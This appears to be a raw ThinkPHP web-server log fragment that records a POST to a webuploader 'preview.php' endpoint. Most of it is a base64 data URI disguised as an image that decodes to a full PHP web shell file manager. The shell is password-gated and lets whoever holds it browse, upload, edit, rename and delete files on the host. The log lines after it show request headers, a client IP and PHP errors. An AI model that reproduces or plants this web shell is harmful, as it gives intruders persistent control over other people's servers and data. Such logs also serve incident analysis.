'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:26+08:00 ] 116.213.36.234 POST 51tianwei.com/public/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002792s] [吞吐率:358.18req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 